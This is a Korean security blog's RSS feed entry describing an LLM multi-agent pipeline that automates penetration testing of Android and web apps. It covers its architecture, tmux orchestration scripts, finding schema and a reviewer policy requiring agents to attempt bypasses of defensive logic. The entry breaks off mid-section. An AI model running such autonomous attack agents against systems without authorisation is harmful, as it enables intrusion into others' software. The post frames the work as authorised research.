<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>땅콩킹땅콩 </title>
    <link>https://gomguk.tistory.com/</link>
    <description>보안, 개발, 이것저것  열심히 하려는 블로그</description>
    <language>ko</language>
    <pubDate>Sun, 12 Apr 2026 02:46:31 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>땅콩킹땅콩</managingEditor>
    <image>
      <title>땅콩킹땅콩 </title>
      <url>https://tistory1.daumcdn.net/tistory/3167196/attach/e4ce25b5871a41f5a6571bec2d05441b</url>
      <link>https://gomguk.tistory.com</link>
    </image>
    <item>
      <title>[LLM] 취약점 진단 에이전트 팀 구성하기</title>
      <link>https://gomguk.tistory.com/319</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 이 글에서 다루는 모의해킹 자동화 사례는 합법적&amp;middot;허가된 환경의 연구/교육 목적에만 해당합니다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;권한 없는 시스템에 대한 공격 행위는 정통망법에 저촉될 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 연구를 위해 LLM 구독 및 API 요금을 지원해준 분께 감사의 인사를 드립니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;멀티 에이전트 시스템의 3가지 아키텍처 패턴: 실전 모의해킹 파이프라인으로 살펴보기&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;들어가며&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;LLM 기반 멀티 에이전트 시스템(Multi-Agent System)이 빠르게 확산되고 있습니다. OpenAI Swarm, Google ADK, LangGraph, CrewAI 등 주요 프레임워크들이 잇달아 등장하면서 &quot;에이전트 여럿이 협업하는&quot; 구조는 이제 실험 단계를 넘어 실무에 적용되기 시작했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그런데 막상 멀티 에이전트를 실전에 적용해 보면 &lt;b&gt;도구 자체의 문제보다 에이전트 간 업무 이양(Handoff)이 무너지는 문제&lt;/b&gt;가 훨씬 치명적입니다. 에이전트 A가 산출물을 만들었는데 에이전트 B가 그 형식을 이해하지 못하거나, 이전 라운드의 피드백이 다음 라운드에 전달되지 않거나, 최종 합의 조건이 모호해서 파이프라인이 무한 루프에 빠지는 식입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 글에서는 멀티 에이전트 오케스트레이션(Orchestration)의 핵심 아키텍처를 &lt;b&gt;3가지 패턴&lt;/b&gt;으로 분류하고, 필자가 직접 구축&amp;middot;운용한 &lt;b&gt;LLM 기반 모의해킹 자동화 파이프라인&lt;/b&gt;의 실제 구현을 사례로 들어 각 패턴의 동작 원리와 실패 지점을 살펴봅니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;사전지식: 멀티 에이전트 오케스트레이션이란?&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;멀티 에이전트 오케스트레이션(Multi-Agent Orchestration)은 여러 LLM 에이전트에게 서로 다른 역할을 부여하고, 이들의 실행 순서&amp;middot;데이터 전달&amp;middot;합의 조건을 관리하는 설계 패턴입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2025년 초 발표된 서베이 논문 &quot;Multi-Agent Collaboration Mechanisms: A Survey of LLMs&quot;&lt;i&gt;(Tran et al., arXiv 2501.06322)에서는 멀티 에이전트 시스템을 &lt;/i&gt;Actors, Types, Structures, Strategies, Coordination Protocols&lt;b&gt;의 5가지로 분류합니다. 또한 Google ADK 공식 문서(2025.12)는 Sequential Pipeline, Generator-Critic, Parallel Fan-Out 등 8가지 명명된 패턴&lt;/b&gt;을 제시합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 글에서는 이런 분류 체계를 참고하되, 실전 파이프라인에서 반복적으로 나타나는 &lt;b&gt;3개의 핵심 아키타입(Archetype)&lt;/b&gt;에 집중합니다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;height: 146px;&quot; width=&quot;852&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;아키타입&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;학술/프레임워크 대응 용어&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;핵심 메커니즘&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;바톤패스&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Sequential Pipeline, Chain, Assembly-Line&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;단계별 순차 이양&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;크리틱 루프&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Generator-Critic, Adversarial Debate, Verifier-Worker&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;강제 반박&amp;middot;재검증 루프&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;툴 게이트&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Schema-Gated Pipeline, Guardrails, FunctionMiddleware&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스키마 검증 통과 필수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;실전 사례 소개: codex_pentest 파이프라인&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;본문에서 참조하는 구현은 필자가 운용 중인 &lt;b&gt;&lt;code&gt;취약점 진단 팀 에이전트&lt;/code&gt;&lt;/b&gt; 프로젝트입니다. 이 시스템은 &lt;b&gt;LLM 에이전트를 활용한 모의해킹 자동화 파이프라인&lt;/b&gt;으로, 안드로이드/웹 애플리케이션의 취약점 탐색부터 증거 수집, 교차 검증, 합의까지를 자동화합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시스템 구성 개요&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;dockerfile&quot;&gt;&lt;code&gt;codex_pentest/
├── policy/           &amp;larr; 역할 정책 (SSOT)
│   ├── ROLE_CORE.md       # 전체 에이전트 공통 역할&amp;middot;제약 정본
│   ├── REVIEW_POLICY.md   # 리뷰어 강제 규칙
│   └── COMPAT_MATRIX.md   # 모델별 스킬 호환 매핑
├── agents/           &amp;larr; 에이전트별 규칙
│   ├── finder-static/     # 정적 분석 에이전트
│   ├── finder-dynamic/    # 동적 분석 에이전트 (ADB/Frida)
│   └── reviewer/          # 반박&amp;middot;재검증 에이전트
├── schemas/          &amp;larr; 산출물 스키마
│   ├── finding.schema.json
│   └── review.schema.json
├── scripts/          &amp;larr; 파이프라인 스크립트
│   ├── run-dual-tmux.sh     # 진입점: tmux 세션 생성
│   ├── tmux-monitor.sh      # 라운드 관리&amp;middot;합의 판정
│   ├── run-finder-static.sh
│   ├── run-finder-dynamic.sh
│   ├── merge-findings.sh    # 정적+동적 결과 병합
│   ├── gate-review.sh       # 리뷰 게이트 검증
│   ├── check-consensus.sh   # 최종 합의 판정
│   └── validate-role.sh     # 역할 동기화 검증
└── runs/             &amp;larr; 실행 기록
    └── {run_id}/
        ├── context/    # 대상 스코프
        ├── rounds/     # 라운드별 findings/reviews
        ├── findings/   # 최신 finding 결과
        ├── reviews/    # 최신 review 결과
        ├── status/     # 상태 플래그 파일
        ├── artifacts/  # 증거 자료 (스크린샷, 스크립트)
        └── report.md   # 최종 보고서&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실행 흐름&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;┌─────────────┐     ┌──────────────┐     ┌─────────────┐
│ finder-static│     │finder-dynamic│     │             │
│ (정적 분석)  │     │ (동적 분석)   │     │  reviewer   │
│  jadx/apktool│     │ ADB/Frida    │     │ (반박/검증)  │
└──────┬───────┘     └──────┬───────┘     └──────┬──────┘
       │                    │                     │
       └────────┬───────────┘                     │
                ▼                                 │
        merge-findings.sh                         │
         (결과 병합)                               │
                │                                 │
                ▼                                 │
        gate-review.sh ◄──────────────────────────┘
        (스키마 검증)           리뷰 결과
                │
                ▼
        check-consensus.sh
        (합의 판정)
                │
          ┌─────┴──────┐
          │            │
     consensus.ok  consensus.fail
     (최종 보고서)  (다음 라운드 재시도)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;파이프라인은 tmux 세션 안에서 동작하며, &lt;code&gt;tmux-monitor.sh&lt;/code&gt;가 전체 라운드 진행을 관리합니다. 최대 5라운드(&lt;code&gt;MAX_ROUNDS&lt;/code&gt;)까지 반복하며, 전체 타임아웃은 3시간(&lt;code&gt;MONITOR_TIMEOUT_SEC=10800&lt;/code&gt;)입니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;아키타입 1: 바톤패스(Baton Pass) &amp;mdash; 순차 이양 패턴&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;바톤패스(Baton Pass)는 릴레이 경주에서 바톤을 넘기듯, &lt;b&gt;에이전트 A의 산출물이 에이전트 B의 입력이 되는 순차적 파이프라인&lt;/b&gt; 패턴입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Google ADK 공식 문서에서는 이를 &lt;b&gt;Sequential Pipeline Pattern&lt;/b&gt;이라 부르며, &quot;클래식 조립 라인처럼 에이전트 A가 작업을 마치고 에이전트 B에게 바톤을 넘기는 구조&quot;라고 설명합니다. OpenAI Swarm 프레임워크의 핵심 프리미티브도 이 &lt;b&gt;Handoff&lt;/b&gt; 개념이며, 에이전트가 다른 에이전트 객체를 반환함으로써 제어권을 이전합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;학술 영역에서는 MetaGPT가 SOP(Standard Operating Procedures)를 강제하여 구조화된 산출물을 다음 단계로 넘기는 엄격한 체인 패턴을 구현했고, ChatDev 역시 설계&amp;rarr;코딩&amp;rarr;테스트&amp;rarr;리뷰를 순차 이양하는 구조를 채택했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;핵심 설계 원칙&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;바톤패스 패턴의 성패는 &lt;b&gt;이양되는 컨텍스트의 완전성&lt;/b&gt;에 달려 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;산출물 형식의 사전 합의&lt;/b&gt;: 넘기는 측과 받는 측이 동일한 스키마를 공유해야 합니다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;컨텍스트 손실 방지&lt;/b&gt;: 이전 단계의 판단 근거&amp;middot;피드백이 다음 단계에 함께 전달되어야 합니다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;단방향 의존성 명확화&lt;/b&gt;: A&amp;rarr;B&amp;rarr;C 순서에서 C가 A의 산출물을 직접 참조해야 하는 경우, 명시적 컨텍스트 슬라이스(Context Slice)가 필요합니다&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;프로젝트에서의 구현&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 파이프라인에서 바톤패스는 &lt;code&gt;finder-static&lt;/code&gt; &amp;rarr; &lt;code&gt;finder-dynamic&lt;/code&gt; &amp;rarr; &lt;code&gt;merge&lt;/code&gt; &amp;rarr; &lt;code&gt;reviewer&lt;/code&gt; 순서로 동작합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1단계: 정적&amp;middot;동적 분석 병렬 실행 후 병합&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;dart&quot;&gt;&lt;code&gt;# tmux-monitor.sh 발췌: 두 finder를 병렬로 실행
tmux new-window -d -t &quot;$SESSION_NAME&quot; -n &quot;$static_window&quot; &quot;$static_cmd&quot;
tmux new-window -d -t &quot;$SESSION_NAME&quot; -n &quot;$dynamic_window&quot; &quot;$dynamic_cmd&quot;

# 두 finder 모두 완료 대기
wait_for_round_finders_done &quot;$round&quot;

# 정적+동적 결과를 하나의 finding.json으로 병합
&quot;$ROOT_DIR/scripts/merge-findings.sh&quot; &quot;$RUN_ID&quot; \
    &quot;$static_file&quot; &quot;$dynamic_file&quot; &quot;$finding_file&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;finder-static&lt;/code&gt;(jadx/apktool 기반 정적 분석)과 &lt;code&gt;finder-dynamic&lt;/code&gt;(ADB/Frida 기반 동적 분석)이 각각 독립적으로 취약점을 탐색한 뒤, &lt;code&gt;merge-findings.sh&lt;/code&gt;가 두 결과를 하나의 &lt;code&gt;finder.json&lt;/code&gt;으로 병합합니다. 이 병합된 JSON이 다음 단계인 &lt;code&gt;reviewer&lt;/code&gt; 에이전트의 입력이 됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2단계: 라운드 간 컨텍스트 이양&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# tmux-monitor.sh 발췌: 이전 라운드 리뷰를 다음 라운드 입력으로 전달
if (( round &amp;gt; 1 )); then
    prev_round=$((round - 1))
    prev_review_file=&quot;$ROUNDS_DIR/round-${prev_round}/reviews/reviewer.json&quot;
    if [[ -f &quot;$prev_review_file&quot; ]]; then
        review_context_file=&quot;$prev_review_file&quot;
    fi
fi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;라운드 2부터는 이전 라운드의 &lt;code&gt;reviewer.json&lt;/code&gt;이 &lt;b&gt;컨텍스트 파일&lt;/b&gt;로 finder 에이전트에게 전달됩니다. 이를 통해 &quot;어떤 finding이 증거 부족으로 반려되었는지&quot;를 finder가 인지하고, 해당 부분의 증거를 보강할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3단계: 산출물 구조 통일&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모든 에이전트의 산출물은 &lt;code&gt;schemas/finding.schema.json&lt;/code&gt;과 &lt;code&gt;schemas/review.schema.json&lt;/code&gt;으로 형식이 강제됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;// finding.schema.json의 핵심 필수 필드
{
  &quot;required&quot;: [
    &quot;finding_id&quot;, &quot;title&quot;, &quot;severity_cvss&quot;, &quot;root_cause&quot;,
    &quot;attack_scenario&quot;, &quot;poc_steps&quot;, &quot;evidence&quot;,
    &quot;impact&quot;, &quot;expansion_paths&quot;
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 finding은 취약점 ID, CVSS 점수, 근본 원인, 공격 시나리오, PoC 절차, HTTP 요청/응답 증거, 영향도, 확장 경로를 반드시 포함해야 합니다. 이 스키마 합의가 없으면 바톤패스 자체가 성립하지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;바톤패스의 약점: 컨텍스트 유실&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;바톤패스 패턴의 가장 큰 약점은 &lt;b&gt;컨텍스트 유실&lt;/b&gt;입니다. 필자가 특정 안드로이드 앱 대상으로 파이프라인을 실행했을 때, 라운드 1~4까지 진행되었음에도 합의에 도달하지 못했습니다. 핵심 원인 중 하나는 리뷰어가 지적한 보완 사항이 다음 라운드의 finder에게 효과적으로 전달되지 못해 &lt;b&gt;동일한 증거 부족이 반복&lt;/b&gt;된 것이었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;runs/{run_id}/status/
├── finder_static.r1.done ~ r4.done   &amp;larr; 4라운드 모두 완료
├── finder_dynamic.r1.done ~ r4.done  &amp;larr; 4라운드 모두 완료
├── reviewer.r1.done ~ r3.done        &amp;larr; 3라운드 리뷰 완료
└── consensus.fail                    &amp;larr; 합의 실패&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시사점&lt;/b&gt;: 바톤패스에서는 &quot;무엇을 넘기느냐&quot;만큼 &quot;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;이전 라운드에서 왜 실패했는지&lt;/span&gt;&quot;를 함께 넘기는 것이 중요합니다. 단순한 산출물 전달이 아니라 피드백 컨텍스트의 구조화된 이양이 필요합니다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;아키타입 2: 크리틱 루프(Critic Loop) &amp;mdash; 강제 반박 패턴&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;크리틱 루프(Critic Loop)는 &lt;b&gt;하나의 에이전트가 만든 산출물을 다른 에이전트가 체계적으로 반박&amp;middot;검증하는 적대적(Adversarial) 피드백 루프&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Google ADK에서는 이를 &lt;b&gt;Generator-Critic Pattern&lt;/b&gt;이라 부릅니다. 생성 에이전트(Generator)가 결과를 만들면, 비평 에이전트(Critic)가 사전 정의된 기준에 따라 검토하고, 기준 미달 시 피드백을 Generator에게 돌려보내 품질 게이트를 통과할 때까지 반복합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;학술 영역에서도 이 패턴은 활발히 연구되고 있습니다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;MAKER 프레임워크&lt;/b&gt;: 계층적 검증(hierarchical verification)을 통한 교차 심문(cross-examination). Verifier 에이전트가 Worker 산출물에 도전하여 긴 체인에서도 오류 누적을 거의 0으로 만든다고 보고됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Multi-Agent Debate 패턴&lt;/b&gt;: 에이전트들이 서로의 출력을 검토하며 반복적으로 입장을 수정합니다. 최종 결정은 다수결 또는 요약 에이전트가 내립니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;GIRA(Guarded Tool-Using LLM Agents)&lt;/b&gt;: OpenReview 2024에서 발표된 이 아키텍처는 제안 생성과 행동 승인을 분리하여, 다계층 안전 게이트가 차단&amp;middot;재작성&amp;middot;에스컬레이션할 수 있게 합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;핵심 설계 원칙&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;크리틱 루프가 효과적이려면 Critic의 &lt;b&gt;검증 행위가 정량적이고 강제적&lt;/b&gt;이어야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;최소 검증 요건의 수치 명시&lt;/b&gt;: &quot;충분히 검토한다&quot;가 아니라 &quot;반박 1회, 우회 2회, 추가 위협 2건, 신규 가설 3건&quot; 같은 구체적 수치&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;판정 결과의 열거형 제한&lt;/b&gt;: &lt;code&gt;accepted | rejected | needs_more_evidence&lt;/code&gt; 외의 애매한 판정을 허용하지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;루프 탈출 조건의 명확화&lt;/b&gt;: 무한 반복을 방지할 최대 라운드 수와 타임아웃&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;프로젝트에서의 구현&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 파이프라인의 크리틱 루프는 &lt;code&gt;reviewer&lt;/code&gt; 에이전트가 담당합니다. Reviewer는 기본적으로 Finder의 결과를 &lt;b&gt;의심하고 반박하는&lt;/b&gt; 역할입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Reviewer의 강제 검증 규칙 (REVIEW_POLICY.md)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;## Mandatory Review Actions
- 모든 finding마다 최소 1회 이상의 반박 시도를 수행한다.
- 차단 로직 또는 방어 로직이 있는 경우 최소 2개의 우회 경로를 제시하고 실제 시도한다.
- 각 finding마다 추가 위협(연계 공격) 최소 2개를 식별한다.
- 각 finding 검토마다 신규 취약점 가설 최소 3개를 제시한다.
- 증거가 부족하면 확정하지 않고 needs_more_evidence로 판정한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 규칙은 단순한 가이드라인이 아니라 &lt;b&gt;스키마 레벨에서 강제&lt;/b&gt;됩니다.&lt;/span&gt;&lt;/p&gt;
